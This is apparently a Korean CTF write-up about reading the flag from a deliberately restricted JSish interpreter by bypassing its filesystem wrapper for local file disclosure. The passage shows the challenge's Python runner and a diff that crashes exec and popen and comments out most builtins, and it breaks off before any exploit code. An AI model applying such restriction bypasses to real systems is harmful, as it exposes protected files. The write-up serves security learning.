TL;DR
샌드박스 미적용 JSish 환경에서 FS syscall wrapper bypass로 Local File Disclosure로 플래그 뽑기
Analysis
#!/usr/bin/env python3import osimport ptyimport signalimport tempfileimport sys
MAX_SIZE = 20000def p(a): print(a, flush=True)
input_size = int(input("Provide size. Must be < 5k:"))if input_size >= MAX_SIZE: p(f"Received size of {input_size}, which is too big") sys.exit(-1)
p("Provide script please!!")script_contents = sys.stdin.read(input_size)p(script_contents)
with tempfile.NamedTemporaryFile(mode="wb", delete=True) as f: f.write(script_contents.encode("utf-8")) f.flush() p("File written. Running. Timeout is 20s")
# set an alarm so spawn won't hang longer than 20s def alarm_handler(signum, frame): raise TimeoutError signal.signal(signal.SIGALRM, alarm_handler) signal.alarm(20) try: # pty.spawn will replace the child and attach it to the pty pty.spawn(["/home/ctf/jsish/jsish", f.name]) except TimeoutError: p("Timeout expired") finally: signal.alarm(0)
p("Done")프로그램은 표준 입력으로 정수 길이를 받은 뒤 그 길이만큼의 스크립트를 읽어 임시 파일에 저장하고 JSish 실행 파일에 넘긴다.
input_size = int(input("Provide size. Must be < 5k:"))script_contents = sys.stdin.read(input_size)pty.spawn(["/home/ctf/jsish/jsish", f.name])샌드박스 옵션이나 safeReadDirs 같은 제한이 전혀 없기에 interpreter는 jsiFilesystem으로 모든 경로를 열 수 있다.
패치 상태
diff --git a/src/jsiCmds.c b/src/jsiCmds.cindex 58061ec..a7864e7 100644--- a/src/jsiCmds.c+++ b/src/jsiCmds.c@@ -1401,6 +1401,7 @@ static Jsi_RC SysGetUserCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_thi // Replacement for popen when there is no /bin/sh. It uses execvp. static FILE *jsi_popen(char **cmdv, const char *type, int *cpid) {+ *(volatile int *)0 = 0; // nu este atat de ieftin bolidul cum credeai #ifdef __WIN32 return NULL; #else@@ -1562,6 +1563,7 @@ Jsi_RC jsi_SysExecCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_this, edata.bg = 1; edata.retCode = 1; edata.retval = 0;+ *(volatile int *)0 = 0; // nu este atat de ieftin bolidul cum credeai exitCode = ((ec=system(cp))>>8); Jsi_DSSetLength(&dStr, 0); } else {@@ -1574,13 +1576,16 @@ Jsi_RC jsi_SysExecCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_this, native = (access("/bin/sh", X_OK)==0); #endif int cpid;- if (native)+ if (native) {+ *(volatile int *)0 = 0; // nu este atat de ieftin bolidul cum credeai fp = popen(cp, type);+ } else { int argc; char **argv; Jsi_DString pStr = {}; Jsi_SplitStr(cp, &argc, &argv, NULL, &pStr);+ *(volatile int *)0 = 0; // nu este atat de ieftin bolidul cum credeai fp = jsi_popen(argv, type, &cpid); Jsi_DSFree(&pStr); }@@ -5072,8 +5077,8 @@ static Jsi_CmdSpec infoCmds[] = { { "event", InfoEventCmd, 0, 1, "id:number=void", .help="List events or info for 1 event (setTimeout/setInterval)", .retType=(uint)JSI_TT_ARRAY|JSI_TT_OBJECT, .flags=0, .info=FN_infoevent }, #endif { "executable", InfoExecutableCmd, 0, 0, "", .help="Return name of executable", .retType=(uint)JSI_TT_STRING },- { "execZip", InfoExecZipCmd, 0, 0, "", .help="If executing a .zip file, return file name", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID },- { "files", InfoFilesCmd, 0, 0, "", .help="Return list of all sourced files", .retType=(uint)JSI_TT_ARRAY },+ // { "execZip", InfoExecZipCmd, 0, 0, "", .help="If executing a .zip file, return file name", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID },+ // { "files", InfoFilesCmd, 0, 0, "", .help="Return list of all sourced files", .retType=(uint)JSI_TT_ARRAY }, { "funcs", InfoFuncsCmd, 0, 1, "arg:string|regexp|function|object=void", .help="Return details or list of matching functions", .retType=(uint)JSI_TT_ARRAY|JSI_TT_OBJECT }, { "interp", jsi_InterpInfo, 0, 1, "interp:userobj=void", .help="Return info on given or current interp", .retType=(uint)JSI_TT_OBJECT }, { "isMain", InfoIsMainCmd, 0, 0, "", .help="Return true if current script was the main script invoked from command-line", .retType=(uint)JSI_TT_BOOLEAN },@@ -5141,91 +5146,91 @@ static Jsi_RC SysLogErrorCmd(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value *_th
static Jsi_CmdSpec utilCmds[] = {-#ifndef JSI_OMIT_BASE64- { "argArray", SysArgArrayCmd, 1, 1, "arg:any|undefined", .help="Coerces non-null to an array, if necessary", .retType=(uint)JSI_TT_ARRAY|JSI_TT_NULL },-#ifndef JSI_OMIT_DEBUG- { "dbgAdd", DebugAddCmd, 1, 2, "val:string|number, temp:boolean=false", .help="Debugger add a breakpoint for line, file:line or func", .retType=(uint)JSI_TT_NUMBER },- { "dbgRemove", DebugRemoveCmd, 1, 1, "id:number", .help="Debugger remove breakpoint", .retType=(uint)JSI_TT_VOID },- { "dbgEnable", DebugEnableCmd, 2, 2, "id:number, on:boolean", .help="Debugger enable/disable breakpoint", .retType=(uint)JSI_TT_VOID },- { "dbgInfo", DebugInfoCmd, 0, 1, "id:number=void", .help="Debugger return info about one breakpoint, or list of bp numbers", .retType=(uint)JSI_TT_OBJECT|JSI_TT_ARRAY },-#endif- { "complete", SysCompleteCmd, 1, 1, "val:string",.help="Return true if string is complete command with balanced braces, etc", .retType=(uint)JSI_TT_BOOLEAN },- { "base64", SysBase64Cmd, 1, 2, "val:string, decode:boolean=false",.help="Base64 encode/decode a string", .retType=(uint)JSI_TT_STRING },- { "hexStr", SysHexStrCmd, 1, 2, "val:string, decode:boolean=false",.help="Hex encode/decode a string", .retType=(uint)JSI_TT_STRING },-#endif- { "crc32", SysCrc32Cmd, 1, 2, "val:string, crcSeed=0",.help="Calculate 32-bit CRC", .retType=(uint)JSI_TT_NUMBER },-#ifndef JSI_OMIT_ENCRYPT- { "decrypt", SysDecryptCmd, 2, 2, "val:string, key:string", .help="Decrypt data using BTEA encryption", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_encrypt },- { "encrypt", SysEncryptCmd, 2, 2, "val:string, key:string", .help="Encrypt data using BTEA encryption", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_encrypt },-#endif- { "fromCharCode",SysFromCharCodeCmd, 1, 1, "code:number", .help="Return char with given character code", .retType=(uint)JSI_TT_STRING, .flags=JSI_CMDSPEC_NONTHIS},- { "getenv", SysGetEnvCmd, 0, 1, "name:string=void", .help="Get one or all environment", .retType=(uint)JSI_TT_STRING|JSI_TT_OBJECT|JSI_TT_VOID },- { "getpid", SysGetPidCmd, 0, 1, "parent:boolean=false", .help="Get process/parent id", .retType=(uint)JSI_TT_NUMBER },- { "getuser", SysGetUserCmd, 0, 0, "", .help="Get userid info", .retType=(uint)JSI_TT_OBJECT },- { "hash", SysHashCmd, 1, 2, "val:string, options:object=void", .help="Return hash (default SHA256) of string/file", .retType=(uint)JSI_TT_STRING, .flags=0, .info=0, .opts=HashOptions},- { "setenv", SysSetEnvCmd, 1, 2, "name:string, value:string=void", .help="Set/get an environment var" },- { "sqlValues", SysSqlValuesCmd, 1, 2, "name:string, obj:object=void", .help="Get object values for SQL" },- { "times", SysTimesCmd, 1, 2, "callback:function|boolean, count:number=1", .help="Call function count times and return execution time in microseconds", .retType=(uint)JSI_TT_NUMBER },- { "verConvert", SysVerConvertCmd,1, 2, "ver:string|number, zeroTrim:number=0", .help="Convert a version to/from a string/number, or return null if not a version. For string output zeroTrim says how many trailing .0 to trim (0-2)", .retType=(uint)JSI_TT_NUMBER|JSI_TT_STRING|JSI_TT_NULL },- { "vueConvert", VueConvertCmd, 1, 2, "fn:string,data:string|null=void",.help="Convert/generate .vue/.js file; returns a %s fmt string when data=null", .retType=(uint)JSI_TT_STRING },+// #ifndef JSI_OMIT_BASE64+// { "argArray", SysArgArrayCmd, 1, 1, "arg:any|undefined", .help="Coerces non-null to an array, if necessary", .retType=(uint)JSI_TT_ARRAY|JSI_TT_NULL },+// #ifndef JSI_OMIT_DEBUG+// { "dbgAdd", DebugAddCmd, 1, 2, "val:string|number, temp:boolean=false", .help="Debugger add a breakpoint for line, file:line or func", .retType=(uint)JSI_TT_NUMBER },+// { "dbgRemove", DebugRemoveCmd, 1, 1, "id:number", .help="Debugger remove breakpoint", .retType=(uint)JSI_TT_VOID },+// { "dbgEnable", DebugEnableCmd, 2, 2, "id:number, on:boolean", .help="Debugger enable/disable breakpoint", .retType=(uint)JSI_TT_VOID },+// { "dbgInfo", DebugInfoCmd, 0, 1, "id:number=void", .help="Debugger return info about one breakpoint, or list of bp numbers", .retType=(uint)JSI_TT_OBJECT|JSI_TT_ARRAY },+// #endif+// { "complete", SysCompleteCmd, 1, 1, "val:string",.help="Return true if string is complete command with balanced braces, etc", .retType=(uint)JSI_TT_BOOLEAN },+// { "base64", SysBase64Cmd, 1, 2, "val:string, decode:boolean=false",.help="Base64 encode/decode a string", .retType=(uint)JSI_TT_STRING },+// { "hexStr", SysHexStrCmd, 1, 2, "val:string, decode:boolean=false",.help="Hex encode/decode a string", .retType=(uint)JSI_TT_STRING },+// #endif+// { "crc32", SysCrc32Cmd, 1, 2, "val:string, crcSeed=0",.help="Calculate 32-bit CRC", .retType=(uint)JSI_TT_NUMBER },+// #ifndef JSI_OMIT_ENCRYPT+// { "decrypt", SysDecryptCmd, 2, 2, "val:string, key:string", .help="Decrypt data using BTEA encryption", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_encrypt },+// { "encrypt", SysEncryptCmd, 2, 2, "val:string, key:string", .help="Encrypt data using BTEA encryption", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_encrypt },+// #endif+// { "fromCharCode",SysFromCharCodeCmd, 1, 1, "code:number", .help="Return char with given character code", .retType=(uint)JSI_TT_STRING, .flags=JSI_CMDSPEC_NONTHIS},+// { "getenv", SysGetEnvCmd, 0, 1, "name:string=void", .help="Get one or all environment", .retType=(uint)JSI_TT_STRING|JSI_TT_OBJECT|JSI_TT_VOID },+// { "getpid", SysGetPidCmd, 0, 1, "parent:boolean=false", .help="Get process/parent id", .retType=(uint)JSI_TT_NUMBER },+// { "getuser", SysGetUserCmd, 0, 0, "", .help="Get userid info", .retType=(uint)JSI_TT_OBJECT },+// { "hash", SysHashCmd, 1, 2, "val:string, options:object=void", .help="Return hash (default SHA256) of string/file", .retType=(uint)JSI_TT_STRING, .flags=0, .info=0, .opts=HashOptions},+// { "setenv", SysSetEnvCmd, 1, 2, "name:string, value:string=void", .help="Set/get an environment var" },+// { "sqlValues", SysSqlValuesCmd, 1, 2, "name:string, obj:object=void", .help="Get object values for SQL" },+// { "times", SysTimesCmd, 1, 2, "callback:function|boolean, count:number=1", .help="Call function count times and return execution time in microseconds", .retType=(uint)JSI_TT_NUMBER },+// { "verConvert", SysVerConvertCmd,1, 2, "ver:string|number, zeroTrim:number=0", .help="Convert a version to/from a string/number, or return null if not a version. For string output zeroTrim says how many trailing .0 to trim (0-2)", .retType=(uint)JSI_TT_NUMBER|JSI_TT_STRING|JSI_TT_NULL },+// { "vueConvert", VueConvertCmd, 1, 2, "fn:string,data:string|null=void",.help="Convert/generate .vue/.js file; returns a %s fmt string when data=null", .retType=(uint)JSI_TT_STRING }, { NULL, 0,0,0,0, .help="Utilities commands" } };
static Jsi_CmdSpec sysCmds[] = {- { "assert", jsi_AssertCmd, 1, 3, "expr:boolean|number|function, msg:string=void, options:object=void", .help="Throw or output msg if expr is false", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_assert, .opts=AssertOptions },-#ifndef JSI_OMIT_EVENT- { "clearInterval",clearIntervalCmd,1,1, "id:number", .help="Delete event id returned from setInterval/setTimeout/info.events()", .retType=(uint)JSI_TT_VOID },-#endif- { "decodeURI", DecodeURICmd, 1, 1, "val:string", .help="Decode an HTTP URL", .retType=(uint)JSI_TT_STRING },- { "decodeURIComponent", DecodeURIComponentCmd, 1, 1, "val:string", .help="Decode an HTTP URL", .retType=(uint)JSI_TT_STRING },- { "encodeURI", EncodeURICmd, 1, 1, "val:string", .help="Encode an HTTP URL", .retType=(uint)JSI_TT_STRING },- { "encodeURIComponent", EncodeURIComponentCmd, 1, 1, "val:string", .help="Encode an HTTP URL", .retType=(uint)JSI_TT_STRING },- { "exec", SysExecCmd, 1, 2, "val:string, options:string|object=void", .help="Execute an OS command", .retType=(uint)JSI_TT_ANY, .flags=0, .info=FN_exec, .opts=ExecOptions},- { "exit", SysExitCmd, 0, 1, "code:number=0", .help="Exit the current interpreter", .retType=(uint)JSI_TT_VOID },- { "format", SysFormatCmd, 1, -1, "format:string, ...", .help="Printf style formatting: adds %q and %S", .retType=(uint)JSI_TT_STRING },- { "getOpts", SysGetOptsCmd, 2, 3, "options:object, conf:object, self:object", .help="Get options", .retType=(uint)JSI_TT_OBJECT, .flags=0},+// { "assert", jsi_AssertCmd, 1, 3, "expr:boolean|number|function, msg:string=void, options:object=void", .help="Throw or output msg if expr is false", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_assert, .opts=AssertOptions },+// #ifndef JSI_OMIT_EVENT+// { "clearInterval",clearIntervalCmd,1,1, "id:number", .help="Delete event id returned from setInterval/setTimeout/info.events()", .retType=(uint)JSI_TT_VOID },+// #endif+// { "decodeURI", DecodeURICmd, 1, 1, "val:string", .help="Decode an HTTP URL", .retType=(uint)JSI_TT_STRING },+// { "decodeURIComponent", DecodeURIComponentCmd, 1, 1, "val:string", .help="Decode an HTTP URL", .retType=(uint)JSI_TT_STRING },+// { "encodeURI", EncodeURICmd, 1, 1, "val:string", .help="Encode an HTTP URL", .retType=(uint)JSI_TT_STRING },+// { "encodeURIComponent", EncodeURIComponentCmd, 1, 1, "val:string", .help="Encode an HTTP URL", .retType=(uint)JSI_TT_STRING },+// { "exec", SysExecCmd, 1, 2, "val:string, options:string|object=void", .help="Execute an OS command", .retType=(uint)JSI_TT_ANY, .flags=0, .info=FN_exec, .opts=ExecOptions},+// { "exit", SysExitCmd, 0, 1, "code:number=0", .help="Exit the current interpreter", .retType=(uint)JSI_TT_VOID },+// { "format", SysFormatCmd, 1, -1, "format:string, ...", .help="Printf style formatting: adds %q and %S", .retType=(uint)JSI_TT_STRING },+// { "getOpts", SysGetOptsCmd, 2, 3, "options:object, conf:object, self:object", .help="Get options", .retType=(uint)JSI_TT_OBJECT, .flags=0}, { "import", SysImportCmd, 1, 2, "file:string, options:object=void", .help="Same as source with {import:true}", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SourceOptions},- { "isFinite", isFiniteCmd, 1, 1, "val", .help="Return true if is a finite number", .retType=(uint)JSI_TT_BOOLEAN },- { "isMain", InfoIsMainCmd, 0, 0, "", .help="Return true if current script was the main script invoked from command-line", .retType=(uint)JSI_TT_BOOLEAN },- { "isNaN", isNaNCmd, 1, 1, "val", .help="Return true if not a number", .retType=(uint)JSI_TT_BOOLEAN },-#ifndef JSI_OMIT_LOAD- { "load", jsi_LoadLoadCmd, 1, 1, "shlib:string", .help="Load a shared executable and invoke its _Init call", .retType=(uint)JSI_TT_VOID },-#endif- { "log", SysLogCmd, 1, -1, "val, ...", .help="Same as puts, but includes file:line", .retType=(uint)JSI_TT_VOID, .flags=0 },- { "matchObj", SysMatchObjCmd, 1, 4, "obj:object, match:string=void, partial=false, noerror=false", .help="Validate that object matches given name:type string. With single arg returns generated string", .retType=(uint)JSI_TT_BOOLEAN|JSI_TT_STRING },- { "module", SysModuleCmd, 1, 3, "cmd:string|function, version:number|string=1, options:object=void", .help="Same as provide, but will invoke cmd if isMain is true", .retType=(uint)JSI_TT_VOID, .flags=0, .info=0, .opts=jsiModuleOptions },- { "moduleOpts", SysModuleOptsCmd,1, 3, "options:object, self:object|userobj=void, conf:object|null|undefined=void", .help="Parse module options", .retType=(uint)JSI_TT_OBJECT},- { "moduleRun", SysModuleRunCmd, 1, 2, "cmd:string|function, args:array=undefined", .help="Invoke named module with given args or command-line args", .retType=(uint)JSI_TT_ANY},- { "noOp", jsi_NoOpCmd, 0, -1, "", .help="A No-Op. A zero overhead command call that is useful for debugging" },- { "parseInt", parseIntCmd, 1, 2, "val:any, base:number=10", .help="Convert string to an integer", .retType=(uint)JSI_TT_NUMBER },- { "parseFloat", parseFloatCmd, 1, 1, "val", .help="Convert string to a double", .retType=(uint)JSI_TT_NUMBER },- { "parseOpts", SysParseOptsCmd, 3, 3, "self:object|userobj, options:object, conf:object|null|undefined", .help="Parse module options: similar to moduleOpts but arg order different and no freeze", .retType=(uint)JSI_TT_OBJECT, .flags=JSI_OPT_DEPRECATED},- { "printf", SysPrintfCmd, 1, -1, "format:string, ...", .help="Formatted output to stdout", .retType=(uint)JSI_TT_VOID, .flags=0 },- { "provide", SysProvideCmd, 0, 3, "cmd:string|function=void, version:number|string=1, options:object=void", .help="Make a package available for use by require", .retType=(uint)JSI_TT_VOID, .flags=0, .info=0, .opts=jsiModuleOptions },- { "puts", SysPutsCmd, 1, -1, "val:any, ...", .help="Output one or more values to stdout", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_puts },- { "quote", SysQuoteCmd, 1, 1, "val:string", .help="Return quoted string", .retType=(uint)JSI_TT_STRING },- { "require", SysRequireCmd, 0, 3, "name:string=void, version:number|string=1, options:object=void", .help="Load/query packages", .retType=(uint)JSI_TT_NUMBER|JSI_TT_OBJECT|JSI_TT_ARRAY, .flags=0, .info=FN_require, .opts=jsiModuleOptions },- { "sleep", SysSleepCmd, 0, 1, "secs:number=1.0", .help="sleep for N milliseconds, minimum .001", .retType=(uint)JSI_TT_VOID },-#ifndef JSI_OMIT_EVENT- { "setInterval",setIntervalCmd, 2, 2, "callback:function, ms:number", .help="Setup recurring function to run every given millisecs", .retType=(uint)JSI_TT_NUMBER },- { "setTimeout", setTimeoutCmd, 2, 2, "callback:function, ms:number", .help="Setup function to run after given millisecs", .retType=(uint)JSI_TT_NUMBER },-#endif- { "source", SysSourceCmd, 1, 2, "val:string|array, options:object=void", .help="Load and evaluate source files", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SourceOptions},- { "strftime", DateStrftimeCmd, 0, 2, "num:number=null, options:string|object=void", .help="Format numeric time (in ms) to string", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_strftime, .opts=DateOptions },- { "strptime", DateStrptimeCmd, 0, 2, "val:string=void, options:string|object=void", .help="Parse time from string and return ms time since 1970-01-01 in UTC, or NaN on error", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=0, .opts=DateOptions },- { "times", SysTimesCmd, 1, 2, "callback:function|boolean, count:number=1", .help="Call function count times and return execution time in microseconds", .retType=(uint)JSI_TT_NUMBER },-#ifndef JSI_OMIT_LOAD- { "unload", jsi_LoadUnloadCmd,1, 1, "shlib:string", .help="Unload a shared executable and invoke its _Done call", .retType=(uint)JSI_TT_VOID },-#endif-#ifndef JSI_OMIT_EVENT- { "update", SysUpdateCmd, 0, 1, "options:number|object=void", .help="Service all events, eg. setInterval/setTimeout", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_update, .opts=jsiUpdateOptions },-#endif- { "LogDebug", SysLogDebugCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },- { "LogTrace", SysLogTraceCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },- { "LogTest", SysLogTestCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },- { "LogInfo", SysLogInfoCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },- { "LogWarn", SysLogWarnCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },- { "LogError", SysLogErrorCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },+// { "isFinite", isFiniteCmd, 1, 1, "val", .help="Return true if is a finite number", .retType=(uint)JSI_TT_BOOLEAN },+// { "isMain", InfoIsMainCmd, 0, 0, "", .help="Return true if current script was the main script invoked from command-line", .retType=(uint)JSI_TT_BOOLEAN },+// { "isNaN", isNaNCmd, 1, 1, "val", .help="Return true if not a number", .retType=(uint)JSI_TT_BOOLEAN },+// #ifndef JSI_OMIT_LOAD+// { "load", jsi_LoadLoadCmd, 1, 1, "shlib:string", .help="Load a shared executable and invoke its _Init call", .retType=(uint)JSI_TT_VOID },+// #endif+// { "log", SysLogCmd, 1, -1, "val, ...", .help="Same as puts, but includes file:line", .retType=(uint)JSI_TT_VOID, .flags=0 },+// { "matchObj", SysMatchObjCmd, 1, 4, "obj:object, match:string=void, partial=false, noerror=false", .help="Validate that object matches given name:type string. With single arg returns generated string", .retType=(uint)JSI_TT_BOOLEAN|JSI_TT_STRING },+// { "module", SysModuleCmd, 1, 3, "cmd:string|function, version:number|string=1, options:object=void", .help="Same as provide, but will invoke cmd if isMain is true", .retType=(uint)JSI_TT_VOID, .flags=0, .info=0, .opts=jsiModuleOptions },+// { "moduleOpts", SysModuleOptsCmd,1, 3, "options:object, self:object|userobj=void, conf:object|null|undefined=void", .help="Parse module options", .retType=(uint)JSI_TT_OBJECT},+// { "moduleRun", SysModuleRunCmd, 1, 2, "cmd:string|function, args:array=undefined", .help="Invoke named module with given args or command-line args", .retType=(uint)JSI_TT_ANY},+// { "noOp", jsi_NoOpCmd, 0, -1, "", .help="A No-Op. A zero overhead command call that is useful for debugging" },+// { "parseInt", parseIntCmd, 1, 2, "val:any, base:number=10", .help="Convert string to an integer", .retType=(uint)JSI_TT_NUMBER },+// { "parseFloat", parseFloatCmd, 1, 1, "val", .help="Convert string to a double", .retType=(uint)JSI_TT_NUMBER },+// { "parseOpts", SysParseOptsCmd, 3, 3, "self:object|userobj, options:object, conf:object|null|undefined", .help="Parse module options: similar to moduleOpts but arg order different and no freeze", .retType=(uint)JSI_TT_OBJECT, .flags=JSI_OPT_DEPRECATED},+// { "printf", SysPrintfCmd, 1, -1, "format:string, ...", .help="Formatted output to stdout", .retType=(uint)JSI_TT_VOID, .flags=0 },+// { "provide", SysProvideCmd, 0, 3, "cmd:string|function=void, version:number|string=1, options:object=void", .help="Make a package available for use by require", .retType=(uint)JSI_TT_VOID, .flags=0, .info=0, .opts=jsiModuleOptions },+// { "puts", SysPutsCmd, 1, -1, "val:any, ...", .help="Output one or more values to stdout", .retType=(uint)JSI_TT_VOID, .flags=0, .info=FN_puts },+// { "quote", SysQuoteCmd, 1, 1, "val:string", .help="Return quoted string", .retType=(uint)JSI_TT_STRING },+// { "require", SysRequireCmd, 0, 3, "name:string=void, version:number|string=1, options:object=void", .help="Load/query packages", .retType=(uint)JSI_TT_NUMBER|JSI_TT_OBJECT|JSI_TT_ARRAY, .flags=0, .info=FN_require, .opts=jsiModuleOptions },+// { "sleep", SysSleepCmd, 0, 1, "secs:number=1.0", .help="sleep for N milliseconds, minimum .001", .retType=(uint)JSI_TT_VOID },+// #ifndef JSI_OMIT_EVENT+// { "setInterval",setIntervalCmd, 2, 2, "callback:function, ms:number", .help="Setup recurring function to run every given millisecs", .retType=(uint)JSI_TT_NUMBER },+// { "setTimeout", setTimeoutCmd, 2, 2, "callback:function, ms:number", .help="Setup function to run after given millisecs", .retType=(uint)JSI_TT_NUMBER },+// #endif+// { "source", SysSourceCmd, 1, 2, "val:string|array, options:object=void", .help="Load and evaluate source files", .retType=(uint)JSI_TT_ANY, .flags=0, .info=0, .opts=SourceOptions},+// { "strftime", DateStrftimeCmd, 0, 2, "num:number=null, options:string|object=void", .help="Format numeric time (in ms) to string", .retType=(uint)JSI_TT_STRING, .flags=0, .info=FN_strftime, .opts=DateOptions },+// { "strptime", DateStrptimeCmd, 0, 2, "val:string=void, options:string|object=void", .help="Parse time from string and return ms time since 1970-01-01 in UTC, or NaN on error", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=0, .opts=DateOptions },+// { "times", SysTimesCmd, 1, 2, "callback:function|boolean, count:number=1", .help="Call function count times and return execution time in microseconds", .retType=(uint)JSI_TT_NUMBER },+// #ifndef JSI_OMIT_LOAD+// { "unload", jsi_LoadUnloadCmd,1, 1, "shlib:string", .help="Unload a shared executable and invoke its _Done call", .retType=(uint)JSI_TT_VOID },+// #endif+// #ifndef JSI_OMIT_EVENT+// { "update", SysUpdateCmd, 0, 1, "options:number|object=void", .help="Service all events, eg. setInterval/setTimeout", .retType=(uint)JSI_TT_NUMBER, .flags=0, .info=FN_update, .opts=jsiUpdateOptions },+// #endif+// { "LogDebug", SysLogDebugCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },+// { "LogTrace", SysLogTraceCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },+// { "LogTest", SysLogTestCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },+// { "LogInfo", SysLogInfoCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },+// { "LogWarn", SysLogWarnCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID },+// { "LogError", SysLogErrorCmd, 1, -1, "str:string|boolean,...", .help="Debug logging command", .retType=(uint)JSI_TT_VOID }, { NULL, 0,0,0,0, .help="Builtin system commands. All methods are exported as global" } };
diff --git a/src/jsiFilesys.c b/src/jsiFilesys.cindex 3d38a24..4bf1adf 100644--- a/src/jsiFilesys.c+++ b/src/jsiFilesys.c@@ -1049,22 +1049,22 @@ static Jsi_RC FilesysConstructor(Jsi_Interp *interp, Jsi_Value *args, Jsi_Value
static Jsi_CmdSpec filesysCmds[] = {- { "Channel", FilesysConstructor,1, 2, "file:string, mode:string='r'", .help="A file input/output object. The mode string is r or w and an optional +", .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR },- { "close", FilesysCloseCmd, 0, 0, "", .help="Close the file", .retType=(uint)JSI_TT_BOOLEAN },- { "eof", FilesysEofCmd, 0, 0, "", .help="Return true if read to end-of-file", .retType=(uint)JSI_TT_BOOLEAN },- { "filename", FilesysFilenameCmd, 0, 0, "", .help="Get file name", .retType=(uint)(uint)JSI_TT_STRING },- { "flush", FilesysFlushCmd, 0, 0, "", .help="Flush file output", .retType=(uint)JSI_TT_NUMBER },- { "gets", FilesysGetsCmd, 0, 0, "", .help="Get one line of input", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID },- { "lstat", FilesysLstatCmd, 0, 0, "", .help="Return status for file", .retType=(uint)JSI_TT_OBJECT },- { "mode", FilesysModeCmd, 0, 0, "", .help="Get file mode used with open", .retType=(uint)JSI_TT_STRING },- { "open", FilesysOpenCmd, 1, -1, "file:string, mode:string='r'", .help="Open the file (after close)", .retType=(uint)JSI_TT_BOOLEAN },- { "puts", FilesysPutsCmd, 1, 1, "str", .help="Write one line of output", .retType=(uint)JSI_TT_BOOLEAN },- { "read", FilesysReadCmd, 0, 1, "size:number=-1", .help="Read some or all of file", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID },- { "seek", FilesysSeekCmd, 2, 2, "pos:number, whence:string", .help="Seek to position. Return 0 if ok", .retType=(uint)JSI_TT_NUMBER },- { "stat", FilesysStatCmd, 0, 0, "", .help="Return status for file", .retType=(uint)JSI_TT_OBJECT },- { "truncate",FilesysTruncateCmd, 1, 1, "pos:number", .help="Truncate file", .retType=(uint)JSI_TT_NUMBER },- { "tell", FilesysTellCmd, 0, 0, "", .help="Return current position", .retType=(uint)JSI_TT_NUMBER },- { "write", FilesysWriteCmd, 1, 1, "data", .help="Write data to file", .retType=(uint)JSI_TT_NUMBER },+ // { "Channel", FilesysConstructor,1, 2, "file:string, mode:string='r'", .help="A file input/output object. The mode string is r or w and an optional +", .retType=(uint)JSI_TT_USEROBJ, .flags=JSI_CMD_IS_CONSTRUCTOR },+ // { "close", FilesysCloseCmd, 0, 0, "", .help="Close the file", .retType=(uint)JSI_TT_BOOLEAN },+ // { "eof", FilesysEofCmd, 0, 0, "", .help="Return true if read to end-of-file", .retType=(uint)JSI_TT_BOOLEAN },+ // { "filename", FilesysFilenameCmd, 0, 0, "", .help="Get file name", .retType=(uint)(uint)JSI_TT_STRING },+ // { "flush", FilesysFlushCmd, 0, 0, "", .help="Flush file output", .retType=(uint)JSI_TT_NUMBER },+ // { "gets", FilesysGetsCmd, 0, 0, "", .help="Get one line of input", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID },+ // { "lstat", FilesysLstatCmd, 0, 0, "", .help="Return status for file", .retType=(uint)JSI_TT_OBJECT },+ // { "mode", FilesysModeCmd, 0, 0, "", .help="Get file mode used with open", .retType=(uint)JSI_TT_STRING },+ // { "open", FilesysOpenCmd, 1, -1, "file:string, mode:string='r'", .help="Open the file (after close)", .retType=(uint)JSI_TT_BOOLEAN },+ // { "puts", FilesysPutsCmd, 1, 1, "str", .help="Write one line of output", .retType=(uint)JSI_TT_BOOLEAN },+ // { "read", FilesysReadCmd, 0, 1, "size:number=-1", .help="Read some or all of file", .retType=(uint)JSI_TT_STRING|JSI_TT_VOID },+ // { "seek", FilesysSeekCmd, 2, 2, "pos:number, whence:string", .help="Seek to position. Return 0 if ok", .retType=(uint)JSI_TT_NUMBER },+ // { "stat", FilesysStatCmd, 0, 0, "", .help="Return status for file", .retType=(uint)JSI_TT_OBJECT },+ // { "truncate",FilesysTruncateCmd, 1, 1, "pos:number", .help="Truncate file", .retType=(uint)JSI_TT_NUMBER },+ // { "tell", FilesysTellCmd, 0, 0, "", .help="Return current position", .retType=(uint)JSI_TT_NUMBER },+ // { "write", FilesysWriteCmd, 1, 1, "data", .help="Write data to file", .retType=(uint)JSI_TT_NUMBER }, { NULL, 0,0,0,0, 